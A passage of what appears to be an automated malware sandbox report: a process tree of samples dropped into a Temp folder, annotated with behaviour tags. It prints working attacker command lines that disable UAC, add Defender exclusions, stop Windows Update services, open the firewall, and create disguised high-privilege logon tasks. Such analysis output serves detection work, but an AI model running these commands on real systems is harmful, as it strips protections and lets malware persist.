        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Runtime Broker.exe" "Runtime Broker.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        System Time Discovery
        
        PID:6488
  - - C:\Users\Admin\AppData\Local\Temp\Files\SrbijaSetupHokej.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\SrbijaSetupHokej.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5484
    - - C:\Users\Admin\AppData\Local\Temp\is-UVQQP.tmp\SrbijaSetupHokej.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-UVQQP.tmp\SrbijaSetupHokej.tmp" /SL5="$60246,3939740,937984,C:\Users\Admin\AppData\Local\Temp\Files\SrbijaSetupHokej.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:2032
      - C:\Program Files (x86)\Serbia Ice Hockey DB\Hokej.exe
        
        "C:\Program Files (x86)\Serbia Ice Hockey DB\Hokej.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:5780
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5780 -s 1168
        7⤵
        Program crash
        
        PID:8532
  - - C:\Users\Admin\AppData\Local\Temp\Files\CONHOST.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\CONHOST.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:6196
  - - C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe"
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      PID:6800
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Runtime" /sc ONLOGON /tr "C:\Windows\system32\runtime.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5128
    - - C:\Windows\system32\runtime.exe
        
        "C:\Windows\system32\runtime.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        
        PID:4508
      - C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Runtime" /sc ONLOGON /tr "C:\Windows\system32\runtime.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5272
  - - C:\Users\Admin\AppData\Local\Temp\Files\TORRENTOLD-1.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\TORRENTOLD-1.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:5028
    - - C:\Users\Admin\AppData\Local\Temp\Files\TORRENTOLD-1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\TORRENTOLD-1.exe"
        5⤵
        Executes dropped EXE
        
        PID:5500
    - - C:\Users\Admin\AppData\Local\Temp\Files\TORRENTOLD-1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\TORRENTOLD-1.exe"
        5⤵
        Executes dropped EXE
        
        PID:6416
    - - C:\Users\Admin\AppData\Local\Temp\Files\TORRENTOLD-1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\TORRENTOLD-1.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3872
    - - C:\Users\Admin\AppData\Local\Temp\Files\TORRENTOLD-1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\TORRENTOLD-1.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:6748
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5028 -s 832
        5⤵
        Program crash
        
        PID:3484
  - - C:\Users\Admin\AppData\Local\Temp\Files\xdd.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\xdd.exe"
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      PID:6152
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6164
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:5928
      - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:776
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:1772
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:2736
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:6272
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        5⤵
        Launches sc.exe
        
        PID:1416
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        5⤵
        Launches sc.exe
        
        PID:5116
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "PPTBMYWF"
        5⤵
        Launches sc.exe
        
        PID:7164
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "PPTBMYWF" binpath= "C:\ProgramData\wxiftyzsteng\qpgcxlhnvaqc.exe" start= "auto"
        5⤵
        Launches sc.exe
        
        PID:7160
  - - C:\Users\Admin\AppData\Local\Temp\Files\system404.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\system404.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:944
  - - C:\Users\Admin\AppData\Local\Temp\Files\CritScript.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\CritScript.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Modifies registry class
      PID:1668
    - - C:\Users\Admin\AppData\Local\Temp\JUSCHED.EXE
        
        "C:\Users\Admin\AppData\Local\Temp\JUSCHED.EXE"
        5⤵
        Executes dropped EXE
        
        PID:3020
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Java Update Scheduler" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Java\jusched.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5704
      - C:\Users\Admin\AppData\Roaming\Java\jusched.exe
        
        "C:\Users\Admin\AppData\Roaming\Java\jusched.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        
        PID:2168
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Java Update Scheduler" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Java\jusched.exe" /rl HIGHEST /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6684
  - - C:\Users\Admin\AppData\Local\Temp\Files\fg.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\fg.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:3500
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dn5zagk0\dn5zagk0.cmdline"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6328
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES16B1.tmp" "c:\Users\Admin\AppData\Local\Temp\dn5zagk0\CSCE60BC79A21E843DFA99D9BC7751D7F1.TMP"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4924
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        
        PID:6456
  - - C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"
      4⤵
      Executes dropped EXE
      PID:1960
  - - C:\Users\Admin\AppData\Local\Temp\Files\Discord2.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Discord2.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5012
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Discord" /tr '"C:\Users\Admin\AppData\Roaming\Discord.exe"' & exit
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3332
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Discord" /tr '"C:\Users\Admin\AppData\Roaming\Discord.exe"'
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5116
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp2670.tmp.bat""
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5468
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        6⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:3436
      - C:\Users\Admin\AppData\Roaming\Discord.exe
        
        "C:\Users\Admin\AppData\Roaming\Discord.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5504
  - - C:\Users\Admin\AppData\Local\Temp\Files\pfntjejghjsdkr.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\pfntjejghjsdkr.exe"
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:1720
    - - C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe"
        5⤵
        Executes dropped EXE
        
        PID:4612
  - - C:\Users\Admin\AppData\Local\Temp\Files\k360.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\k360.exe"
      4⤵
      Executes dropped EXE
      PID:7164
  - - C:\Users\Admin\AppData\Local\Temp\Files\Vikings.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Vikings.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5972
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Yota'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:6216
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\Yota
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:1524
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:6196
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\Windows
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6912
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:3984
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\Users
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:3912
    - - C:\Yota\multiyota.exe
        
        "C:\Yota\multiyota.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6612
  - - C:\Users\Admin\AppData\Local\Temp\Files\GOLD.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\GOLD.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:6104
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6104 -s 760
        5⤵
        Program crash
        
        PID:6324
  - - C:\Users\Admin\AppData\Local\Temp\Files\st.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\st.exe"
      4⤵
      PID:6320
  - - C:\Users\Admin\AppData\Local\Temp\Files\Update.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Update.exe"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:3240
    - - C:\Users\Admin\AppData\Roaming\Update.exe
        
        "C:\Users\Admin\AppData\Roaming\Update.exe"
        5⤵
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: GetForegroundWindowSpam
        
        PID:4332
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Update.exe" "Update.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:4328
  - - C:\Users\Admin\AppData\Local\Temp\Files\file.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\file.exe"
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious use of SetWindowsHookEx
      PID:3552
  - - C:\Users\Admin\AppData\Local\Temp\Files\CollosalLoader.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\CollosalLoader.exe"
      4⤵
      PID:7080
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Skype" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\MSWinpreference.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5336
    - - C:\Users\Admin\AppData\Roaming\SubDir\MSWinpreference.exe
        
        "C:\Users\Admin\AppData\Roaming\SubDir\MSWinpreference.exe"
        5⤵
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        
        PID:648
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Skype" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\MSWinpreference.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3352
  - - C:\Users\Admin\AppData\Local\Temp\Files\NOTallowedtocrypt.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\NOTallowedtocrypt.exe"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry class
      PID:3408
    - - C:\Windows\SysWOW64\cmd.exe
        
        /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        5⤵
        
        PID:6348
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:6724
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        6⤵
        UAC bypass
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:5960
    - - C:\Users\Admin\AppData\Roaming\kjhgfdc\76y5trfed675ytg.exe
        
        "C:\Users\Admin\AppData\Roaming\kjhgfdc\76y5trfed675ytg.exe"
        5⤵
        Adds Run key to start application
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        
        PID:6796
      - C:\Windows\SysWOW64\cmd.exe
        
        /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        6⤵
        
        PID:2392
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:6372
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        7⤵
        UAC bypass
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:5288
      - \??\c:\program files (x86)\internet explorer\iexplore.exe
        
        "c:\program files (x86)\internet explorer\iexplore.exe"
        6⤵
        Adds Run key to start application
        Suspicious use of SetThreadContext
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        
        PID:3776
        
        C:\Windows\SysWOW64\cmd.exe
        
        /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:6132
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:5176
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        8⤵
        UAC bypass
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:2904
        
        C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        7⤵
        
        PID:7116
  - - C:\Users\Admin\AppData\Local\Temp\Files\sela.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\sela.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: GetForegroundWindowSpam
      PID:3168
  - - C:\Users\Admin\AppData\Local\Temp\Files\Java.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Java.exe"
      4⤵
      PID:6760
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1364
    - - C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        5⤵
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:996
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4780
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\nn3z7tSSLV6x.bat" "
        6⤵
        
        PID:6768
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:3968
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6120
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        7⤵
        Suspicious use of SendNotifyMessage
        
        PID:2560
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2348
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\4hWld233c6io.bat" "
        8⤵
        
        PID:6408
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        9⤵
        
        PID:1084
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        9⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5352
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        9⤵
        Suspicious use of SendNotifyMessage
        
        PID:2784
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3540
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\qIDmOmAoU9HJ.bat" "
        10⤵
        
        PID:1960
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        11⤵
        
        PID:3788
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        11⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:7080
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        11⤵
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:6860
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4132
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\kdAvt7z6PJ88.bat" "
        12⤵
        
        PID:6444
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        13⤵
        
        PID:6160
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        13⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1264
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        13⤵
        Suspicious use of SendNotifyMessage
        
        PID:6688
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2056
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FBdSpWs7P5L4.bat" "
        14⤵
        
        PID:3540
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        15⤵
        
        PID:3428
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        15⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6704
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        15⤵
        Suspicious use of SendNotifyMessage
        
        PID:4808
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5424
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ia3W91bSsCS1.bat" "
        16⤵
        
        PID:6124
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        17⤵
        
        PID:716
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        17⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6672
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        17⤵
        Suspicious use of SendNotifyMessage
        
        PID:5948
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3196
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\HuTsZRAosNgc.bat" "
        18⤵
        
        PID:6736
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        19⤵
        
        PID:5688
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        19⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2520
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        19⤵
        Suspicious use of SendNotifyMessage
        
        PID:5460
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        20⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6652
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7bR4SdKkXAZe.bat" "
        20⤵
        
        PID:3984
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        21⤵
        
        PID:5520
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        21⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4868
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        21⤵
        Suspicious use of SendNotifyMessage
        
        PID:128
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        22⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3460
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\x1Fi4GZIFKP2.bat" "
        22⤵
        
        PID:736
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        23⤵
        
        PID:480
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        23⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4632
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        23⤵
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:6824
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        24⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5484
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\N6rqLq9Uqz0j.bat" "
        24⤵
        
        PID:2912
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        25⤵
        
        PID:6768
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        25⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2708
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        25⤵
        Suspicious use of SendNotifyMessage
        
        PID:3500
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        26⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5424
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5BzKkhX79pi9.bat" "
        26⤵
        
        PID:6124
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        27⤵
        
        PID:5876
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        27⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6672
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        27⤵
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:5280
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        28⤵
        Scheduled Task/Job: Scheduled Task
        
